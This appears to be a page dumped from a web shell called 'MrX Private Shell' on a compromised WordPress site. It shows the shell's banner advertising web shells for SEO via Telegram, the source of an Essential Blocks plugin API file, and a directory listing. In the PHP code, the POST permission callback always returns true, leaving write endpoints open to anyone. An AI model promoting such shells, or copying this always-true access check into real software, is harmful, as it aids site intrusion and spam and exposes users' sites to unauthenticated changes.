__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace EssentialBlocks\API;
use WP_REST_Server;
use EssentialBlocks\Traits\HasSingletone;
abstract class Base {
use HasSingletone;
/**
* Register REST Routes
*
* @return void
*/
abstract function register();
public function register_endpoint( $endpoint, $args = [] ) {
register_rest_route( 'essential-blocks/v1', $endpoint, $args );
}
public function get( $endpoint, $args = [] ) {
$_args = wp_parse_args(
$args,
[
'methods' => WP_REST_Server::READABLE,
'permission_callback' => '__return_true'
]
);
$this->register_endpoint( $endpoint, $_args );
}
public function post( $endpoint, $args = [] ) {
$_args = wp_parse_args(
$args,
[
'methods' => WP_REST_Server::CREATABLE,
'permission_callback' => [ $this, 'verify_post_permission' ]
]
);
$this->register_endpoint( $endpoint, $_args );
}
/**
* Verify permission for POST requests
*
* @param WP_REST_Request $request
* @return bool
*/
public function verify_post_permission( $request ) {
// For public endpoints, we can still allow access but with basic validation
// You can add nonce verification here if needed
return true;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Base.php | File | 1.4 KB | 0640 |
|
| Common.php | File | 676 B | 0640 |
|
| PostBlock.php | File | 7.3 KB | 0640 |
|
| Product.php | File | 16.09 KB | 0640 |
|
| Server.php | File | 545 B | 0640 |
|